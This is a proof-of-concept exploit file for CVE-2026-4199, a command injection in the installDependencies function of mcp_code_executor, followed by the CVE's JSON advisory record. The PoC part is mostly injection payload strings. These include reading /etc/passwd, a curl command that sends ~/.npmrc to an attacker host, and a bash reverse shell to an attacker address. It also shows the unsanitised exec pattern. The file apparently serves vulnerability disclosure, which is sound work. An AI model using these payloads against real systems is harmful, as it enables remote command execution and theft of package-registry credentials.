CVE-2026-4199

// CVE-2026-4199 PoC - Command Injection in mcp_code_executor // Target: bazinga012/mcp_code_executor <= 0.3.0 // Function: installDependencies in src/index.ts // Malicious payload examples: // 1. Basic command injection using backticks const maliciousInput1 = "package; whoami"; // 2. Using command substitution const maliciousInput2 = "$(whoami)"; // 3. Using pipe to chain commands const maliciousInput3 = "package | cat /etc/passwd"; // 4. Exfiltrating sensitive data const maliciousInput4 = "package && curl https://attacker.com/exfil?data=$(cat ~/.npmrc)"; // 5. Reverse shell attempt const maliciousInput5 = "package; bash -i >& /dev/tcp/attacker-ip/port 0>&1"; // Example vulnerable code pattern (to be avoided): /* function installDependencies(dependency) { // VULNERABLE: Direct command execution without sanitization const command = `npm install ${dependency}`; exec(command, (error, stdout, stderr) => { // ... }); } // Attacker can call: // installDependencies("package; malicious_command") // installDependencies("$(malicious_command)") */ console.log("[+] CVE-2026-4199 PoC Demonstrating Command Injection"); console.log("[*] Attack vectors can be triggered through the installDependencies function"); console.log("[*] Requires local access and low privileges"); console.log("[*] Impact: Arbitrary command execution on target system");

{"cve": {"id": "CVE-2026-4199", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:20:04.617", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was identified in bazinga012 mcp_code_executor up to 0.3.0. Affected by this issue is the function installDependencies of the file src/index.ts. Such manipulation leads to command injection. The attack can only be performed from a local environment. The exploit is publicly available and might be used. It is best practice to apply a patch to resolve this issue. The project was informed of the problem early through an issue report but has not responded yet."}, {"lang": "es", "value": "Una vulnerabilidad fue identificada en bazinga012 mcp_code_executor hasta la versión 0.3.0. La función installDependencies del archivo src/index.ts se ve afectada por este problema. Dicha manipulación conduce a inyección de comandos. El ataque solo puede realizarse desde un entorno local. El exploit está disponible públicamente y podría ser utilizado. Es una buena práctica aplicar un parche para resolver este problema. El proyecto fue informado del problema con antelación a través de un informe de incidencias, pero aún no ha respondido."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.9, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:L/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 4.3, "accessVector": "LOCAL", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 3.1, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-77"}]}], "references": [{"url": "https://github.com/bazinga012/mcp_code_executor/", "source": "[email protected]"}, {"url": "https://github.com/bazinga012/mcp_code_executor/issues/17", "source": "[email protected]"}, {"url": "https://github.com/bazinga012/mcp_code_executor/pull/18/commits/a94ec2fea318597646ba1c44d8e44eb1c9196d20", "source": "[email protected]"}, {"url": "https://github.com/user-attachments/files/25931133/mcp_code_executor_security_advisory.pdf", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.351111", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.351111", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.770424", "source": "[email protected]"}]}}